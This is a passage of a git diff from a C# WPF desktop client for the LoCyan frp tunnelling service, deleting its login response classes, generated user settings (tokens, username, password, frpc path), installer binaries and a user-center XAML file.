DashBoard.Show(); - } - else - { - Show(); - } - } - - private void UiWindow_KeyDown(object sender, System.Windows.Input.KeyEventArgs e) - { - if (e.Key == Key.Enter) - { - Login_Click(sender, e); - } - } - } - public class InfoResponseObject - { - [JsonProperty("status")] - public int Status { get; set; } - - [JsonProperty("username")] - public string Username { get; set; } - - [JsonProperty("email")] - public string Email { get; set; } - - [JsonProperty("token")] - public string Token { get; set; } - - [JsonProperty("traffic")] - public long Traffic { get; set; } - - [JsonProperty("inbound")] - public int Inbound { get; set; } - - [JsonProperty("outbound")] - public int Outbound { get; set; } - - [JsonProperty("proxies_num")] - public int ProxiesNum { get; set; } - - [JsonProperty("avatar")] - public string Avatar { get; set; } - } - - public class ResponseObject - { - public int Status { get; set; } - public string Message { get; set; } - public string Token { get; set; } - public UserData UserData { get; set; } - } - - public class UserData - { - public string? Username { get; set; } - public string? Email { get; set; } - public string? FrpToken { get; set; } - public long Traffic { get; set; } - public int Inbound { get; set; } - public int Outbound { get; set; } - public string? Avatar { get; set; } - } - -} \ No newline at end of file diff --git a/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.0 Beta.exe b/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.0 Beta.exe deleted file mode 100644 index ecf0a0d..0000000 Binary files a/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.0 Beta.exe and /dev/null differ diff --git a/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.1 Beta.exe b/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.1 Beta.exe deleted file mode 100644 index cc41c3d..0000000 Binary files a/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.1 Beta.exe and /dev/null differ diff --git a/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.2 Beta.exe b/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.2 Beta.exe deleted file mode 100644 index d350ee3..0000000 Binary files a/LoCyanFrpDesktop/Output/LoCyanFrpInstaller V1.2 Beta.exe and /dev/null differ diff --git a/LoCyanFrpDesktop/Properties/Settings.Designer.cs b/LoCyanFrpDesktop/Properties/Settings.Designer.cs deleted file mode 100644 index 40c1512..0000000 --- a/LoCyanFrpDesktop/Properties/Settings.Designer.cs +++ /dev/null @@ -1,98 +0,0 @@ -//------------------------------------------------------------------------------ -// -// This code was generated by a tool. -// Runtime Version:4.0.30319.42000 -// -// Changes to this file may cause incorrect behavior and will be lost if -// the code is regenerated. -// -//------------------------------------------------------------------------------ - -namespace LoCyanFrpDesktop.Properties { - - - [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] - [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "17.10.0.0")] - internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { - - private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); - - public static Settings Default { - get { - return defaultInstance; - } - } - - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("null")] - public string LoginToken { - get { - return ((string)(this["LoginToken"])); - } - set { - this["LoginToken"] = value; - } - } - - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("null")] - public string username { - get { - return ((string)(this["username"])); - } - set { - this["username"] = value; - } - } - - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("null")] - public string FrpToken { - get { - return ((string)(this["FrpToken"])); - } - set { - this["FrpToken"] = value; - } - } - - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("")] - public string FrpcPath { - get { - return ((string)(this["FrpcPath"])); - } - set { - this["FrpcPath"] = value; - } - } - - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("")] - public string password { - get { - return ((string)(this["password"])); - } - set { - this["password"] = value; - } - } - - [global::System.Configuration.UserScopedSettingAttribute()] - [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] - [global::System.Configuration.DefaultSettingValueAttribute("False")] - public bool DebugMode { - get { - return ((bool)(this["DebugMode"])); - } - set { - this["DebugMode"] = value; - } - } - } -} diff --git a/LoCyanFrpDesktop/Properties/Settings.settings b/LoCyanFrpDesktop/Properties/Settings.settings deleted file mode 100644 index 63e831b..0000000 --- a/LoCyanFrpDesktop/Properties/Settings.settings +++ /dev/null @@ -1,24 +0,0 @@ - - - - - - null - - - null - - - null - - - - - - - - - False - - - \ No newline at end of file diff --git a/LoCyanFrpDesktop/UserCenter.xaml b/LoCyanFrpDesktop/UserCenter.xaml deleted file mode 100644 index e8ce358..0000000 --- a/LoCyanFrpDesktop/UserCenter.xaml +++ /dev/null @@ -1,48 +0,0 @@ - - - - - - - - - - - - - - - - - - - - -